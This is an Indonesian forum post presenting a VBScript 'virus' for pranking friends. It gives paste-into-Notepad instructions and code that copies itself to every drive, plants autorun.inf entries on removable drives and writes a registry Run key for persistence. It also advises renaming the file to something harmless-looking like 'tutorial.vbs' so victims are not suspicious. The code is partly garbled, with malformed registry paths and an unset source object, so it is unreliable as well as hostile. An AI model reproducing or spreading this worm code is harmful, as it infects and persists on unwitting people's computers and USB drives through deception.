Bat virus sendiri (For Fun)

Selingan gan bosen SHARE cheat terus
Baca Baik" yah
NB gan : gua nih juga binggung ni kegunaanya buad apaa sory yah
tp keknya sih buat jailin orang
buka virus kok gan tapi

baik u/ mengerjai teman anda ..wkwkwkwk

Bahan :
1. buka note pad

Lalu copy kode dbawah ini di notepadny .

Sub serangan_drive()
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drives=fso.drives
FDTrue = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & "" & "VirusBlade.vbs")
If drive.DriveType = 1 And drive.DriveLetter > "C:" Then FDTrue = True
End If
Next
If FDTrue = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & "" & "autorun.inf",False)
fileautorun.WriteLine("[AUTORUN]")
fileautorun.WriteLine("open=VirusBlade.vbs")
fileautorun.WriteLine("action=VirusBlade.vbs")
fileautorun.WriteLine("shell\open\command=VirusBlade.vbs")
fileautorun.WriteLine("shell\open=VirusBlade.vbs")

FileCopy app.path & "\VirusBlade.vbs", "c:\VirusBlade.vbs"
End If
End Sub

on error resume next
dim fso, fsource, fbackup, subfolder, filetarget, sys, regedit, drive, fileautorun
dim FDTrue
set fso = CreateObject("Scripting.FileSystemObject")
set regedit=CreateObject("WScript.Shell")


if
(regedit.RegRead("HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio")<>"c:\win
dows\system32\wolio.vbs") Then
regedit.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio","c:\windows\system32\wolio.
vbs"
End If

' Copy-kan diri ke semua drive aktif
serangan_drive()

nah setelah selesai save dgn format all files,lalu beri nama virus.vbs

NB : kata virusnya bisa dganti sesuka hati agan agar tak mencurigakan contoh : tutorial.vbs atau cebok.vbs

happy enjoyed !